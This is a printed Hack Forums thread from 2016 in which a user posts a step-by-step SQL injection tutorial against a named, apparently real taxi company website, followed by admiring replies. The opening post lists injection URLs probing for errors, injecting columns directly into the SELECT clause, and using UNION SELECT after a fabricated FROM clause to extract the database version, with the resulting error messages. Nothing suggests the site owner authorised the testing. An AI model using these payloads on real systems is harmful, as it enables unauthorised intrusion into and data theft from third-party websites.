Hack Forums
[Tutorial/Details] I.Q.D SQL Injection Method [knowledge By Sir benzi & Sir JaNuS1] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat β€’ Purple Team β€’ Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [Tutorial/Details] I.Q.D SQL Injection Method [knowledge By Sir benzi & Sir JaNuS1] (/showthread.php?tid=5369306)

Pages: Pages 1 2


[Tutorial/Details] I.Q.D SQL Injection Method [knowledge By Sir benzi & Sir JaNuS1] - InjectorBoy - Aug 9, 2016

Hi EvreyBody This Is MY New Tutorial I.Q.D SQL Injection Method This Method Learned From Sir benzi So I Love To sharing With You Hope You Loved.

First I meaning by [I.Q.D] Inject The query directly .

our site that I will play with .

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1 

[Image: Jm4EAZp.png]

let's see if this site injectable or not by useing Apostrophe ['] .

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1' 

[Image: hYVghHr.png]

as we see we have error .

PHP Code

<?php 
1064
: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1\' A' at line 1 

now let's try to get column count by useing order by .

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1 order by 100-- - 

[Image: ZJty52Z.png]

I get error

PHP Code

<?php 
1054
: Unknown column 'title_15' in 'field list' 

B.T.W I trying evrey method with order by I know but not work so how to inject this hard site Now ? 😭 .

I have a brilliant idea I will contact By phone With Sir benzi .

Let's contact him Now.

[Image: Zw0z7BG.png]

His phone ringing now .

[Image: 3YxKErU.png]

InjectirBoy- hi sir benzi how are you today hope you so good.

sir benzi-
hi InjectirBoy am good thx.

InjectirBoy- sir benzi can I ask you sir how I inject this hard site ?

sir benzi- aha it'a so easy Listen carefully InjectirBoy.

InjectirBoy- Ok Sir

sir benzi- this is the error right .

PHP Code

<?php 
1064
: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1\' A' at line 1 

when we see multiple "AS" and commas, we know the injection is before "from".

the injection is inside "select" and before "from", we can use I.Q.D method ' inject the query directly '

InjectirBoy- aha you mean sir we not needed to use union select method ?

sir benzi- yse something like that so inject the query directly after id number like that .

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1 

now add Comma after number of ID like .

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1, 

then adding number two after the comma that will be the column directly.

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1,2 

[Image: YQwN6Pp.png]

now let's see the version

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1,version() 

[Image: lSf1aQG.png]

InjectirBoy- wow so good sir benzi learned something new thx sir [Regards sir benzi and good Bye to now ] .

ok my friend lets learning you something different I learned of sir benzi.

when we see error like that -

PHP Code

<?php 
the right syntax to 
use near '\' where ID='4883'' at line 1

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 1-- where ID='4883'' at line 1" 

the injection point is after "from" the error is showing because the injection point is after "from", probably something like that- SELECT c1,c2 FROM table_15injection WHERE ID='4883',to fix it, just fill the missing "where" and your query after that. ?

PHP Code

<?php 
www
.InjectorBoy.md/news.php?id=58' where 0 order by 99-- - 

now I will learned you something new I learned from sir janus.

in the first we injected site with sir benzi in mode [before "from"] let's try to inject in mode [before "from"] too with the same error that belong to the injection when is inside "select" and before "from" but the injection with ID and using union select

sir janus say to me my solution will be by adding part of original syntax 'to add missing from part' so I can inject after it.

AS name FROM texts WHERE id=245, so we can continue with our injection code and 0 UnioN SeLEct 1-- -


PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1 AS name FROM texts WHERE id=245 and 0 UnioN SeLEct 1-- - 

[Image: RlVKlvJ.png]

let's see the version.

PHP Code

<?php 
https
://www.tirol-taxi.at/index.php?lID=1 AS name FROM texts WHERE id=245 and 0 UnioN SeLEct version()-- - 

[Image: Y5QRsxs.png]

that all to today hope you learned something new like me.

Regards to sir benzi & sir janus .


* - Sidekiq - Aug 9, 2016

Pretty nice to read about this, even though I already knew this.
Loved the format.


* - InjectorBoy - Aug 9, 2016

(Aug 9, 2016 02:11 PM)Sidekiq Wrote:  Pretty nice to read about this, even though I already knew this.
Loved the format.

THX SIR ' AND YOU ARE WELLCOM '


* - JaNuS18 - Aug 9, 2016

My solution is NOT mode [after "from"] as you named it.

As injection point is BEFORE from, I added missing from part with:

AS name FROM texts WHERE id=245, so I can continue with my injection code and 0 UnioN SeLEct 1-- -


* - Walt Disneyβ„’ - Aug 9, 2016

Got a nice laugh from this. Good tutorial though, should be helpful to other users.


* - InjectorBoy - Aug 9, 2016

(Aug 9, 2016 02:45 PM)JaNuS18 Wrote:  My solution is NOT mode [after "from"] as you named it.

As injection point is BEFORE from, I added missing from part with:

AS name FROM texts WHERE id=245, so I can continue with my injection code and 0 UnioN SeLEct 1-- -

thx sir and Mistakes have been repaired

Regard sir

(Aug 9, 2016 02:48 PM)Walt Disneyβ„’ Wrote:  Got a nice laugh from this. Good tutorial though, should be helpful to other users.

Glad you liked it sir 😁


* - spirited_wolfβ„’ - Aug 9, 2016

wow really a great writeup mate πŸ‘


* - Inject0r Killer - Aug 9, 2016

Great One πŸ™‚ Keep Posting πŸ˜‰


* - Kashmiri Hunter - Aug 9, 2016

Nice One Mate.Keep On Posting Challenges !


* - The_Defiant_One - Aug 9, 2016

This was a good and entertaining tutorial. Thanks for sharing!


* - AkDK - Aug 10, 2016

Its Awesome Tutriol Learn Some Thing New From You .....But Can You What Stand For

I.Q.D == ??


* - benzi - Aug 10, 2016

hehe nice tutorial! although i dont own an iphone ;)


* - spirited_wolfβ„’ - Aug 10, 2016

(Aug 10, 2016 05:40 AM)AkDK Wrote:  Its Awesome Tutriol Learn Some Thing New From You .....But Can You What Stand For

I.Q.D == ??

IQD mean ==> Inject The query directly
🀝


* - Kashmiri Hunter - Aug 10, 2016

(Aug 10, 2016 08:16 AM)benzi Wrote:  hehe nice tutorial! although i dont own an iphone ;)

Hehehe Master So Which Phone Do You Own 😝 ?


* - InjectorBoy - Aug 10, 2016

(Aug 9, 2016 05:45 PM)spirited_wolf Wrote:  wow really a great writeup mate πŸ‘

thx sir 🀝

(Aug 9, 2016 06:15 PM)Inject0r Killer Wrote:  Great One πŸ™‚ Keep Posting πŸ˜‰

thx sir , ok

(Aug 9, 2016 07:51 PM)Kashmiri Hunter Wrote:  Nice One Mate.Keep On Posting Challenges !

thx sir , ok

(Aug 9, 2016 10:26 PM)The_Defiant_One Wrote:  This was a good and entertaining tutorial. Thanks for sharing!


you are welcome sir thx

(Aug 10, 2016 05:40 AM)AkDK Wrote:  Its Awesome Tutriol Learn Some Thing New From You .....But Can You What Stand For

I.Q.D == ??

thx sir glad for you πŸ‘

(Aug 10, 2016 08:16 AM)benzi Wrote:  hehe nice tutorial! although i dont own an iphone ;)

Hehehe

Very happy to respond from you sir in my thread 😁

And more happy that you like TOPICAL πŸ‘